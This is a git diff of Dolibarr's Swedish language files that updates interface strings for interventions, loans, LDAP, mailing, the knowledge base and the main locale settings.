%s uppsättning som faktureras -InterventionClassifiedUnbilledInDolibarr=Insats %s uppsättning som ofakturerade -InterventionSentByEMail=Insats %s skickad av email -InterventionDeletedInDolibarr=Insats %s raderad -InterventionsArea=Insatssområde -DraftFichinter=Utkast till ingripanden -LastModifiedInterventions=Senaste %s modifierade interventioner -FichinterToProcess=Insatser för att bearbeta +SendInterventionRef=Inlämning av intervention %s +SendInterventionByMail=Skicka intervention via e-post +InterventionCreatedInDolibarr=Intervention %s skapad +InterventionValidatedInDolibarr=Intervention %s bekräftad +InterventionModifiedInDolibarr=Intervention %s ändrad +InterventionClassifiedBilledInDolibarr=Intervention %s angiven som fakturerad +InterventionClassifiedUnbilledInDolibarr=Intervention %s angiven som ofakturerad +InterventionSentByEMail=Intervention %s skickad via e-post +InterventionDeletedInDolibarr=Intervention %s raderad +InterventionsArea=Interventioner +DraftFichinter=Utkast till Interventioner +LastModifiedInterventions=Senaste %s ändrade interventioner +FichinterToProcess=Interventioner att bearbeta TypeContact_fichinter_external_CUSTOMER=Uppföljning kundkontakt -PrintProductsOnFichinter=Skriv även rader av typen "produkt" (inte bara tjänster) på interventionskortet -PrintProductsOnFichinterDetails=Insatser skapade utifrån order -UseServicesDurationOnFichinter=Använd tjänstens varaktighet för interventioner som genereras av order +PrintProductsOnFichinter=Skriv också ut rader av typen "produkt" (inte bara tjänster) på interventionskortet +PrintProductsOnFichinterDetails=Interventioner skapade utifrån order +UseServicesDurationOnFichinter=Använd tjänstens varaktighet för interventioner som genereras från order UseDurationOnFichinter=Döljer varaktighetsfältet för interventionsposter -UseDateWithoutHourOnFichinter=Döljer timmar och minuter från datumfältet för interventionsrekord +UseDateWithoutHourOnFichinter=Döljer timmar och minuter från datumfältet för interventionsposter InterventionStatistics=Statistik över interventioner NbOfinterventions=Antal interventionskort NumberOfInterventionsByMonth=Antal interventionskort per månad (datum för bekräftande) -AmountOfInteventionNotIncludedByDefault=Antalet ingripanden ingår inte som standard i vinst (i de flesta fall används tidtabeller för att räkna upp tid). Lägg till alternativ PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT till 1 i heminställningar-andra för att inkludera dem. -InterId=Insatss id -InterRef=Insatss ref. -InterDateCreation=Datum skapande insats -InterDuration=Varaktighetsintervention -InterStatus=Statusintervention -InterNote=Observera insats -InterLine=Interventionslinje -InterLineId=Line id insats -InterLineDate=Linjedatumintervention -InterLineDuration=Linjens längdintervention -InterLineDesc=Linjebeskrivningsintervention +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. +InterId=Intervention ID +InterRef=Interventionsref. +InterDateCreation=Intervention skapad datum +InterDuration=Intervention varaktighet +InterStatus=Intervention status +InterNote=Intervention anteckning +InterLine=Interventionsrad +InterLineId=Intervention rad-ID +InterLineDate=Intervention datumrad +InterLineDuration=Intervention varaktighetsrad +InterLineDesc=Intervention radbeskrivning RepeatableIntervention=Mall för intervention ToCreateAPredefinedIntervention=För att skapa en fördefinierad eller återkommande intervention, skapa en gemensam intervention och konvertera den till interventionsmall -ConfirmReopenIntervention=Är du säker på att du vill öppna interventionen %s ? -GenerateInter=Generera intervention +ConfirmReopenIntervention=Är du säker på att du vill återöppna interventionen %s? +GenerateInter=Skapa intervention +FichinterNoContractLinked=Intervention %s har skapats utan ett länkat kontrakt. +ErrorFicheinterCompanyDoesNotExist=Företaget finns inte. Intervention har inte skapats. +NextDateToIntervention=Datum för nästa skapande av intervention +NoIntervention=Inget ingripande diff --git a/htdocs/langs/sv_SE/intracommreport.lang b/htdocs/langs/sv_SE/intracommreport.lang index 2cdd3169b27..3ef4859a78b 100644 --- a/htdocs/langs/sv_SE/intracommreport.lang +++ b/htdocs/langs/sv_SE/intracommreport.lang @@ -1,25 +1,25 @@ Module68000Name = Intracomm-rapport -Module68000Desc = Intracomm-rapporthantering (stöd för franska DEB / DES-format) -IntracommReportSetup = Konfigurering av modul för internkommunikation -IntracommReportAbout = Om intracommreport +Module68000Desc = Intracomm-rapporthantering (stöd för franska DEB/DES-format) +IntracommReportSetup = Konfigurering av modul för Intracomm-rapporter +IntracommReportAbout = Om Intracomm-rapport # Setup -INTRACOMMREPORT_NUM_AGREMENT=Numéro d'agrément (délivré par le CISD de rattachement) -INTRACOMMREPORT_TYPE_ACTEUR=Type d'acteur -INTRACOMMREPORT_ROLE_ACTEUR=Rôle joué par l'acteur -INTRACOMMREPORT_NIV_OBLIGATION_INTRODUCTION=Niveau d'obligation sur les introductions -INTRACOMMREPORT_NIV_OBLIGATION_EXPEDITION=Niveau d'obligation sur les expéditions -INTRACOMMREPORT_CATEG_FRAISDEPORT=Catégorie de services de type "Frais de port" +INTRACOMMREPORT_NUM_AGREMENT=Godkännandenummer (utfärdat av det CISD som det är kopplat till) +INTRACOMMREPORT_TYPE_ACTEUR=Typ av aktör +INTRACOMMREPORT_ROLE_ACTEUR=Roll för aktören +INTRACOMMREPORT_NIV_OBLIGATION_INTRODUCTION=Nivå av skyldighet för introducerare +INTRACOMMREPORT_NIV_OBLIGATION_EXPEDITION=Nivå av skyldighet på försändelser +INTRACOMMREPORT_CATEG_FRAISDEPORT=Kategori av tjänster av typen "Fraktkostnader" -INTRACOMMREPORT_NUM_DECLARATION=Numéro de déclarant +INTRACOMMREPORT_NUM_DECLARATION=Deklarantens nummer # Menu MenuIntracommReport=Intracomm-rapport -MenuIntracommReportNew=Ny förklaring +MenuIntracommReportNew=Ny deklarant MenuIntracommReportList=Lista # View -NewDeclaration=Ny förklaring +NewDeclaration=Ny deklaration Declaration=Deklaration AnalysisPeriod=Analysperiod TypeOfDeclaration=Typ av deklaration @@ -31,7 +31,7 @@ IntracommReportTitle=Förberedelse av en XML-fil i ProDouane-format # List IntracommReportList=Lista över genererade deklarationer -IntracommReportNumber=Numero of declaration +IntracommReportNumber=Deklarationsnummer IntracommReportPeriod=Analysperiod IntracommReportTypeDeclaration=Typ av deklaration IntracommReportDownload=ladda ner XML-fil diff --git a/htdocs/langs/sv_SE/knowledgemanagement.lang b/htdocs/langs/sv_SE/knowledgemanagement.lang index 8b0b8b36350..2dd1cce8770 100644 --- a/htdocs/langs/sv_SE/knowledgemanagement.lang +++ b/htdocs/langs/sv_SE/knowledgemanagement.lang @@ -18,37 +18,37 @@ # # Module label 'ModuleKnowledgeManagementName' -ModuleKnowledgeManagementName = Kunskapshanteringssystem +ModuleKnowledgeManagementName = Kunskapsbas # Module description 'ModuleKnowledgeManagementDesc' -ModuleKnowledgeManagementDesc=Hantera en kunskapshanterings- (KM) eller Help-Desk-bas +ModuleKnowledgeManagementDesc=Hantera en kunskapsbas eller helpdesk-bas # # Admin page # -KnowledgeManagementSetup = Konfigurationssystem för kunskapshantering -Settings = inställningar -KnowledgeManagementSetupPage = Kunskapshanteringssystem inställningssida +KnowledgeManagementSetup = Konfiguration av kunskapsbas +Settings = Inställningar +KnowledgeManagementSetupPage = Inställningar för kunskapsbas # # About page # About = Om -KnowledgeManagementAbout = Om kunskapshantering -KnowledgeManagementAboutPage = Kunshantering om sidan +KnowledgeManagementAbout = Om kunskapsbasen +KnowledgeManagementAboutPage = Kunskapsbasens om-sida -KnowledgeManagementArea = Kunskapshantering +KnowledgeManagementArea = Kunskapsbas MenuKnowledgeRecord = Kunskapsbas ListKnowledgeRecord = Lista över artiklar NewKnowledgeRecord = Ny artikel -ValidateReply = Validera lösningen +ValidateReply = Bekräfta lösning KnowledgeRecords = Artiklar KnowledgeRecord = Artikel KnowledgeRecordExtraFields = Extrafält för artikel -GroupOfTicket=Grupp av biljetter -YouCanLinkArticleToATicketCategory=You can link the article to a ticket group (so the article will be highlighted on any tickets in this group) -SuggestedForTicketsInGroup=Suggested for tickets when group is +GroupOfTicket=Grupp av ärenden +YouCanLinkArticleToATicketCategory=Du kan länka artikeln till en ärendegrupp (så att artikeln markeras på alla ärenden i denna grupp) +SuggestedForTicketsInGroup=Föreslås vid skapande av ärende -SetObsolete=Set as obsolete -ConfirmCloseKM=Do you confirm the closing of this article as obsolete ? -ConfirmReopenKM=Do you want to restore this article to status "Validated" ? +SetObsolete=Ange som föråldrad +ConfirmCloseKM=Bekräftar du att denna artikel är föråldrad och skall stängas? +ConfirmReopenKM=Vill du återställa den här artikeln till statusen "Bekräftad"? diff --git a/htdocs/langs/sv_SE/languages.lang b/htdocs/langs/sv_SE/languages.lang index 4cac00c7760..fc6c39a2380 100644 --- a/htdocs/langs/sv_SE/languages.lang +++ b/htdocs/langs/sv_SE/languages.lang @@ -1,27 +1,32 @@ # Dolibarr language file - Source file is en_US - languages Language_am_ET=Etiopisk Language_ar_AR=Arabiska -Language_ar_DZ=Arabic (Algeria) +Language_ar_DZ=Arabiska (Algeriet) Language_ar_EG=Arabiska (egypten) -Language_ar_MA=Arabic (Moroco) +Language_ar_JO=Arabiska (Jordanien) +Language_ar_MA=Arabiska (Marocko) Language_ar_SA=Arabiskt Language_ar_TN=Arabiska (Tunisien) Language_ar_IQ=Arabiska (irak) -Language_as_IN=Assamese +Language_as_IN=assamiska Language_az_AZ=Azerbajdzjanska Language_bn_BD=Bengaliska Language_bn_IN=Bengali (Indien) Language_bg_BG=Bulgariska +Language_bo_CN=tibetanska Language_bs_BA=Bosniska Language_ca_ES=Katalanska Language_cs_CZ=Tjeckiska +Language_cy_GB=walesiska Language_da_DA=Danska Language_da_DK=Danskt Language_de_DE=Tyska Language_de_AT=Tyska (Österrike) Language_de_CH=Tyska (Schweiz) +Language_de_LU=tyska (Luxemburg) Language_el_GR=Grekiska Language_el_CY=Grekiska +Language_en_AE=engelska (Förenade Arabemiraten) Language_en_AU=Engelska (Australien) Language_en_CA=Engelska (Kanada) Language_en_GB=Engelska (Storbritannien) @@ -31,11 +36,13 @@ Language_en_SA=Engelska (Saudiarabien) Language_en_SG=Engelska (Singapore) Language_en_US=Engelska (USA) Language_en_ZA=Engelska (Sydafrika) +Language_en_ZW=engelska (Zimbabwe) Language_es_ES=Spanska Language_es_AR=Spanska (Argentina) Language_es_BO=Spanska (Bilivia) Language_es_CL=Spanska (Chile) Language_es_CO=Spanska (Colombia) +Language_es_CR=Spanska (Costa Rica) Language_es_DO=Spanska (Dominikanska republiken) Language_es_EC=Spanska (ecuador) Language_es_GT=Spanska (Guatemala) @@ -74,7 +81,7 @@ Language_it_IT=Italienska Language_it_CH=Italienska (Schweiz) Language_ja_JP=Japanska Language_ka_GE=Gregorianska -Language_kk_KZ=Kazakh +Language_kk_KZ=Kazakiska Language_km_KH=Khmer Language_kn_IN=Kanadensiska Language_ko_KR=Koreanska @@ -83,19 +90,22 @@ Language_lt_LT=Litauiska Language_lv_LV=Lettländska Language_mk_MK=Makedonska Language_mn_MN=mongoliska +Language_my_MM=burmesiska Language_nb_NO=Norska (bokmål) Language_ne_NP=Nepalesiska Language_nl_BE=Holländska (Belgien) Language_nl_NL=Nederländska Language_pl_PL=Polska Language_pt_AO=Portugisiska (Angola) +Language_pt_MZ=Portugisiska (Moçambique) Language_pt_BR=Portugisiska (Brasilien) Language_pt_PT=Portugisiska Language_ro_MD=Rumänska (Moldavien) Language_ro_RO=Rumänska Language_ru_RU=Ryska Language_ru_UA=Ryska (Ukraina) -Language_tg_TJ=Tajik +Language_ta_IN=Tamil +Language_tg_TJ=Tadzjikiska Language_tr_TR=Turkiska Language_sl_SI=Slovenska Language_sv_SV=Svenska @@ -103,9 +113,11 @@ Language_sv_SE=Svenskt Language_sq_AL=Albanska Language_sk_SK=Slovakiska Language_sr_RS=Serbiska +Language_sw_KE=Swahili Language_sw_SW=Swahili Language_th_TH=Thailändska Language_uk_UA=Ukrainska +Language_ur_PK=Urdu Language_uz_UZ=Uzbekiska Language_vi_VN=Vietnamesiska Language_zh_CN=Kinesiska diff --git a/htdocs/langs/sv_SE/ldap.lang b/htdocs/langs/sv_SE/ldap.lang index c73608e5fb8..48358ffd44a 100644 --- a/htdocs/langs/sv_SE/ldap.lang +++ b/htdocs/langs/sv_SE/ldap.lang @@ -8,20 +8,24 @@ LDAPInformationsForThisMember=Information i LDAP-databas för denna medlem LDAPInformationsForThisMemberType=Information i LDAP-databasen för denna medlemstyp LDAPAttributes=LDAP-attribut LDAPCard=LDAP-kort -LDAPRecordNotFound=Spela som inte finns i LDAP-databas +LDAPRecordNotFound=Post som inte finns i LDAP-databas LDAPUsers=Användare i LDAP-databas LDAPFieldStatus=Status -LDAPFieldFirstSubscriptionDate=Första teckningsdag -LDAPFieldFirstSubscriptionAmount=Fist teckningsbelopp +LDAPFieldFirstSubscriptionDate=Första prenumerationsdatum +LDAPFieldFirstSubscriptionAmount=Första prenumerationsbelopp LDAPFieldLastSubscriptionDate=Senaste prenumerationsdatum -LDAPFieldLastSubscriptionAmount=Senaste abonnemangsbeloppet +LDAPFieldLastSubscriptionAmount=Senaste prenumerationsbelopp LDAPFieldSkype=Skype ID -LDAPFieldSkypeExample=Exempel: SkypeName -UserSynchronized=Användare synkroniseras -GroupSynchronized=Grupp synkroniseras -MemberSynchronized=Medlem synkroniseras +LDAPFieldSkypeExample=Exempel: SkypeNamn +UserSynchronized=Användare synkroniserad +GroupSynchronized=Grupp synkroniserad +MemberSynchronized=Medlem synkroniserad MemberTypeSynchronized=Medlemstypen synkroniserad -ContactSynchronized=Kontakta synkroniseras +ContactSynchronized=Kontakt synkroniserad ForceSynchronize=Tvinga synkronisering Dolibarr -> LDAP -ErrorFailedToReadLDAP=Misslyckades med att läsa LDAP-databas. Kontrollera LDAP-modul setup och databas tillgänglighet. +ErrorFailedToReadLDAP=Misslyckades med att läsa LDAP-databas. Kontrollera LDAP-modul inställning och databas tillgänglighet. PasswordOfUserInLDAP=Lösenord för användare i LDAP +LDAPPasswordHashType=Lösenord hashtyp +LDAPPasswordHashTypeExample=Typ av lösenordshash som används på servern +SupportedForLDAPExportScriptOnly=Stöds endast av ett LDAP-exportskript +SupportedForLDAPImportScriptOnly=Stöds endast av ett LDAP-importskript diff --git a/htdocs/langs/sv_SE/link.lang b/htdocs/langs/sv_SE/link.lang index dbe9db244dc..da38186f5b8 100644 --- a/htdocs/langs/sv_SE/link.lang +++ b/htdocs/langs/sv_SE/link.lang @@ -1,11 +1,11 @@ # Dolibarr language file - Source file is en_US - languages -LinkANewFile=Länka en ny fil / dokument +LinkANewFile=Länka en ny fil/dokument LinkedFiles=Länkade filer och dokument NoLinkFound=Inga registrerade länkar -LinkComplete=Filen har kopplats framgångsrikt -ErrorFileNotLinked=Filen kunde inte kopplas +LinkComplete=Filen har länkats +ErrorFileNotLinked=Filen kunde inte länkas LinkRemoved=Länken %s har tagits bort -ErrorFailedToDeleteLink= Det gick inte att ta bort länk '%s' -ErrorFailedToUpdateLink= Det gick inte att uppdatera länken '%s' +ErrorFailedToDeleteLink= Det gick inte att ta bort länk %s +ErrorFailedToUpdateLink= Det gick inte att uppdatera länken %s URLToLink=URL för länk OverwriteIfExists=Skriv över fil om den existerar diff --git a/htdocs/langs/sv_SE/loan.lang b/htdocs/langs/sv_SE/loan.lang index 4f79e87955b..3f665dc7c22 100644 --- a/htdocs/langs/sv_SE/loan.lang +++ b/htdocs/langs/sv_SE/loan.lang @@ -3,20 +3,20 @@ Loan=Lån Loans=Lån NewLoan=Nytt lån ShowLoan=Visa lån -PaymentLoan=lånebetalning -LoanPayment=lånebetalning -ShowLoanPayment=visa lånebetalning +PaymentLoan=Lånebetalning +LoanPayment=Lånebetalning +ShowLoanPayment=Visa lånebetalning LoanCapital=Kapital Insurance=Försäkring Interest=Ränta -Nbterms=Antal termer -Term=Termin -LoanAccountancyCapitalCode=Redovisningskontokapital -LoanAccountancyInsuranceCode=Redovisningskontoförsäkring -LoanAccountancyInterestCode=Räkningskonto ränta -ConfirmDeleteLoan=Bekräfta borttagning av lån -LoanDeleted=Lånet borttaget -ConfirmPayLoan=Bekräfta uppmärkningen av detta lån +Nbterms=Antal perioder +Term=Period +LoanAccountancyCapitalCode=Redovisningskonto kapital +LoanAccountancyInsuranceCode=Redovisningskonto försäkring +LoanAccountancyInterestCode=Redovisningskonto ränta +ConfirmDeleteLoan=Bekräfta radering av lån +LoanDeleted=Lånet raderat +ConfirmPayLoan=Bekräfta markeringen av detta lån LoanPaid=Lånet betalt ListLoanAssociatedProject=Förteckning över lån i samband med projektet AddLoan=Skapa lån @@ -24,11 +24,11 @@ FinancialCommitment=Finansiellt engagemang InterestAmount=Ränta CapitalRemain=Kapital kvarstår TermPaidAllreadyPaid = Denna period är redan betald -CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started -CantModifyInterestIfScheduleIsUsed = Du kan inte ändra intresse om du använder schema +CantUseScheduleWithLoanStartedToPaid = Det går inte att generera en tidslinje för ett lån med en påbörjad betalning +CantModifyInterestIfScheduleIsUsed = Du kan inte ändra ränta om du använder ett schema # Admin -ConfigLoan=Modullånets konfiguration -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Redovisningskontokapital som standard -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Räkenskapsredovisning är som standard -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Redovisningsbokföringsförsäkring som standard +ConfigLoan=Inställningar för modulen lån +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Konto (från kontoplanen) som ska användas som standard för kapital (lånemodul) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Konto (från kontoplanen) som ska användas som standard för ränta (lånemodul) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Konto (från kontoplanen) som ska användas som standard för försäkring (lånemodul) CreateCalcSchedule=Redigera ekonomiskt engagemang diff --git a/htdocs/langs/sv_SE/mailmanspip.lang b/htdocs/langs/sv_SE/mailmanspip.lang index 5f396378c15..73e89c9db76 100644 --- a/htdocs/langs/sv_SE/mailmanspip.lang +++ b/htdocs/langs/sv_SE/mailmanspip.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - mailmanspip -MailmanSpipSetup=Brevbärare och SPIP modul Setup -MailmanTitle=Mailman sändlista systemet -TestSubscribe=För att testa prenumeration på Mailman listor -TestUnSubscribe=För att testa unsubscribe från Mailman listor -MailmanCreationSuccess=Prenumerationstest genomfördes framgångsrikt -MailmanDeletionSuccess=Avprenumenerationstest utfördes framgångsrikt -SynchroMailManEnabled=En Mailman uppdatering kommer att utföras -SynchroSpipEnabled=En SPIP uppdatering kommer att utföras -DescADHERENT_MAILMAN_ADMINPW=Mailman administratörslösenord +MailmanSpipSetup=Inställningar för modulen Mailman och SPIP +MailmanTitle=Mailman e-postlista +TestSubscribe=För att testa prenumerera på Mailman-listor +TestUnSubscribe=För att testa avprenumerera från Mailman-listor +MailmanCreationSuccess=Test för prenumeration gick utmärkt +MailmanDeletionSuccess=Test för avprenumeration gick utmärkt +SynchroMailManEnabled=En uppdatering av Mailman kommer att utföras +SynchroSpipEnabled=En uppdatering av SPIP kommer att utföras +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administratörslösenord DescADHERENT_MAILMAN_URL=URL för Mailman prenumerationer -DescADHERENT_MAILMAN_UNSUB_URL=URL för Mailman unsubscriptions -DescADHERENT_MAILMAN_LISTS=List (ar) för automatisk inskription av nya medlemmar (separerade med ett kommatecken) +DescADHERENT_MAILMAN_UNSUB_URL=URL för Mailman avprenumerationer +DescADHERENT_MAILMAN_LISTS=List(or) för automatisk addering av nya medlemmar (separerade med ett kommatecken) SPIPTitle=SPIP Content Management System -DescADHERENT_SPIP_SERVEUR=SPIP Server -DescADHERENT_SPIP_DB=SPIP databasnamn -DescADHERENT_SPIP_USER=SPIP databas inloggning -DescADHERENT_SPIP_PASS=SPIP databas lösenord +DescADHERENT_SPIP_SERVEUR=SPIP-server +DescADHERENT_SPIP_DB=SPIP-databasnamn +DescADHERENT_SPIP_USER=SPIP-databasinloggning +DescADHERENT_SPIP_PASS=SPIP-databaslösenord AddIntoSpip=Lägg till SPIP AddIntoSpipConfirmation=Är du säker på att du vill lägga till denna medlem i SPIP? AddIntoSpipError=Det gick inte att lägga till användaren i SPIP DeleteIntoSpip=Ta bort från SPIP DeleteIntoSpipConfirmation=Är du säker på att du vill ta bort den här medlemmen från SPIP? -DeleteIntoSpipError=Det gick inte att undertrycka användaren från SPIP +DeleteIntoSpipError=Det gick inte att trycka bort användaren från SPIP SPIPConnectionFailed=Det gick inte att ansluta till SPIP -SuccessToAddToMailmanList=%s framgångsrikt lagd till mailman lista %s eller SPIP databas -SuccessToRemoveToMailmanList=%s avlägsnades framgångsrikt från brevlistorlistan %s eller SPIP-databasen +SuccessToAddToMailmanList=%s har lagts till mailman-lista %s eller SPIP databas +SuccessToRemoveToMailmanList=%s avlägsnades från mailman-lista %s eller SPIP-databasen diff --git a/htdocs/langs/sv_SE/mails.lang b/htdocs/langs/sv_SE/mails.lang index a574fd58692..c077986c0ad 100644 --- a/htdocs/langs/sv_SE/mails.lang +++ b/htdocs/langs/sv_SE/mails.lang @@ -7,10 +7,10 @@ MailCard=E-post kort MailRecipients=Mottagare MailRecipient=Mottagare MailTitle=Beskrivning -MailFrom=Avsändare +MailFrom=Från MailErrorsTo=Fel på MailReply=Svara -MailTo=Mottagare (s) +MailTo=Fakturamottagare MailToUsers=Till användare MailCC=Kopiera till MailToCCUsers=Kopiera till användare (er) @@ -43,7 +43,7 @@ MailSuccessfulySent=E-post (från %s till %s) godkänd för leverans MailingSuccessfullyValidated=E-post bekräftades MailUnsubcribe=Avanmälan MailingStatusNotContact=Kontakta inte längre -MailingStatusReadAndUnsubscribe=Läs och avsluta prenumerationen +MailingStatusReadAndUnsubscribe=Läs och avsluta abonnemang ErrorMailRecipientIsEmpty=E-postmottagare är tom WarningNoEMailsAdded=Inga nya E-posta lägga till mottagarens lista. ConfirmValidMailing=Är du säker på att du vill bekräfta den här e-posten? @@ -60,7 +60,7 @@ EMailTestSubstitutionReplacedByGenericValues=När du använder testläge är sub MailingAddFile=Bifoga filen NoAttachedFiles=Inga bifogade filer BadEMail=Dåligt värde för e-post -EMailNotDefined=Email not defined +EMailNotDefined=E-post inte definierad ConfirmCloneEMailing=Är du säker på att du vill klona den här e-posten? CloneContent=Klona meddelande CloneReceivers=Cloner mottagare @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Kontakter efter position MailingModuleDescEmailsFromFile=E-post från fil MailingModuleDescEmailsFromUser=E-postmeddelanden inskrivna av användaren MailingModuleDescDolibarrUsers=Användare med e-post -MailingModuleDescThirdPartiesByCategories=Tredje part (enligt kategorier) +MailingModuleDescThirdPartiesByCategories=Tredjepart SendingFromWebInterfaceIsNotAllowed=Skicka från webbgränssnitt är inte tillåtet. EmailCollectorFilterDesc=Alla filter måste matcha för att ett e-postmeddelande ska samlas in @@ -126,13 +126,13 @@ EMailRecipient=Mottagarens E-post TagMailtoEmail=Mottagar Email (inklusive html "mailto:" länk) NoEmailSentBadSenderOrRecipientEmail=Ingen email skickad. Dålig avsändare eller mottagarens e-postadress. Verifiera användarprofil. # Module Notifications -Notifications=Anmälningar +Notifications=Notiser NotificationsAuto=Meddelanden Auto. NoNotificationsWillBeSent=Inga automatiska e-postmeddelanden planeras för den här händelsetypen och företaget ANotificationsWillBeSent=En automatisk avisering skickas via e-post SomeNotificationsWillBeSent=%s automatiska meddelanden skickas via e-post AddNewNotification=Prenumerera på ett nytt automatiskt e-postmeddelande (mål / händelse) -ListOfActiveNotifications=Lista över alla aktiva prenumerationer (mål / händelser) för automatisk e-postavisering +ListOfActiveNotifications=Lista över alla aktiva abonnemang (mål/händelser) för automatisk e-postavisering ListOfNotificationsDone=Lista över alla automatiska e-postmeddelanden som skickats MailSendSetupIs=Konfiguration av e-post att skicka har ställts in till "% s". Detta läge kan inte användas för att skicka massutskick. MailSendSetupIs2=Du måste först gå, med ett administratörskonto, i meny% Shome - Setup - e-post% s för att ändra parameter '% s' för att använda läget "% s". Med det här läget kan du ange inställningar för SMTP-servern från din internetleverantör och använda Mass mejla funktionen. @@ -163,8 +163,8 @@ AdvTgtDeleteFilter=Radera filter AdvTgtSaveFilter=Spara filter AdvTgtCreateFilter=Skapa filter AdvTgtOrCreateNewFilter=Namn på nytt filter -NoContactWithCategoryFound=No category found linked to some contacts/addresses -NoContactLinkedToThirdpartieWithCategoryFound=No category found linked to some thirdparties +NoContactWithCategoryFound=Ingen kategori hittades kopplad till vissa kontakter/adresser +NoContactLinkedToThirdpartieWithCategoryFound=Ingen kategori hittades kopplad till vissa tredje parter OutGoingEmailSetup=Utgående e-post InGoingEmailSetup=Inkommande e-postmeddelanden OutGoingEmailSetupForEmailing=Utgående e-post (för modul %s) @@ -176,5 +176,7 @@ Answered=Besvarade IsNotAnAnswer=Är inte svaret (första e-postmeddelandet) IsAnAnswer=Är ett svar på ett första e-postmeddelande RecordCreatedByEmailCollector=Post skapad av e-postsamlare %s från e-post %s -DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact +DefaultBlacklistMailingStatus=Standardvärde för fältet '%s' när en ny kontakt skapas DefaultStatusEmptyMandatory=Tom men obligatorisk +WarningLimitSendByDay=VARNING: Inställningen eller kontraktet för din instans begränsar ditt antal e-postmeddelanden per dag till %s . Om du försöker skicka mer kan det leda till att din instans saktar ner eller avbryts. Kontakta din support om du behöver en högre kvot. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/sv_SE/main.lang b/htdocs/langs/sv_SE/main.lang index 6f0c88354ab..e822151b5e1 100644 --- a/htdocs/langs/sv_SE/main.lang +++ b/htdocs/langs/sv_SE/main.lang @@ -1,76 +1,83 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, SeparatorThousand=Space -FormatDateShort=%Y-%m-%d -FormatDateShortInput=%Y-%m-%d -FormatDateShortJava=yyyy-MM-dd -FormatDateShortJavaInput=yyyy-MM-dd -FormatDateShortJQuery=yy-mm-dd -FormatDateShortJQueryInput=yy-mm-dd -FormatHourShortJQuery=tt:mm -FormatHourShort=%H:%M +FormatDateShort=%m/%d/%Y +FormatDateShortInput=%m/%d/%Y +FormatDateShortJava=MM/dd/yyyy +FormatDateShortJavaInput=MM/dd/yyyy +FormatDateShortJQuery=mm/dd/yy +FormatDateShortJQueryInput=mm/dd/yy +FormatHourShortJQuery=HH:MI +FormatHourShort=%I:%M %p FormatHourShortDuration=%H:%M -FormatDateTextShort=%b %d %Y -FormatDateText=%B %d %Y -FormatDateHourShort=%Y-%m-%d %H:%M -FormatDateHourSecShort=%Y-%m-%d %I:%M:%S %p -FormatDateHourTextShort=%d %b %Y, %H:%M -FormatDateHourText=%d %B %Y, %H:%M +FormatDateTextShort=%b %d, %Y +FormatDateText=%B %d, %Y +FormatDateHourShort=%m/%d/%Y %I:%M %p +FormatDateHourSecShort=%m/%d/%Y %I:%M:%S %p +FormatDateHourTextShort=%b %d, %Y, %I:%M %p +FormatDateHourText=%B %d, %Y, %I:%M %p DatabaseConnection=Databasanslutning NoTemplateDefined=Ingen mall tillgänglig för denna e-posttyp -AvailableVariables=Tillgängliga substitutionsvariabler +AvailableVariables=Tillgängliga ersättningsvariabler NoTranslation=Ingen översättning Translation=Översättning -CurrentTimeZone=PHP server tidszon +Translations=Översättningar +CurrentTimeZone=Tidszon PHP (server) EmptySearchString=Ange icke tomma sökkriterier EnterADateCriteria=Ange ett datumkriterium NoRecordFound=Ingen post funnen -NoRecordDeleted=Ingen post borttagen +NoRecordDeleted=Ingen post raderad NotEnoughDataYet=Inte tillräckligt med data NoError=Inget fel Error=Fel Errors=Fel -ErrorFieldRequired=Fältet '%s' måste anges +ErrorFieldRequired=Fältet '%s' är obligatoriskt ErrorFieldFormat=Fältet '%s' har ett felaktigt värde -ErrorFileDoesNotExists=Arkiv %s finns inte +ErrorFileDoesNotExists=Filen %s finns inte ErrorFailedToOpenFile=Kunde inte öppna filen %s -ErrorCanNotCreateDir=Kan inte skapa dir %s -ErrorCanNotReadDir=Kan inte läsa dir %s -ErrorConstantNotDefined=Parameter %s inte definierad +ErrorCanNotCreateDir=Kunde inte skapa katalogen %s +ErrorCanNotReadDir=Kan inte läsa katalogen %s +ErrorConstantNotDefined=Parametern %s inte angiven ErrorUnknown=Okänt fel ErrorSQL=SQL-fel -ErrorLogoFileNotFound=Logo fil '%s' hittades inte -ErrorGoToGlobalSetup=Gå till "Company / Organization" inställning för att åtgärda det här -ErrorGoToModuleSetup=Gå till modul inställningarna för att åtgärda detta +ErrorLogoFileNotFound=Logo filen %s hittades inte +ErrorGoToGlobalSetup=Gå till inställningen "Företag/organisation" för att åtgärda +ErrorGoToModuleSetup=Gå till modulinställningarna för att åtgärda detta ErrorFailedToSendMail=Det gick inte att skicka e-post (avsändare = %s, mottagare = %s) ErrorFileNotUploaded=Filen har inte laddats upp. Kontrollera att storleken inte överskrider högsta tillåtna, att det finns plats på disken och att det inte redan finns en fil med samma namn i den här katalogen. ErrorInternalErrorDetected=Fel upptäckt ErrorWrongHostParameter=Fel värdparameter 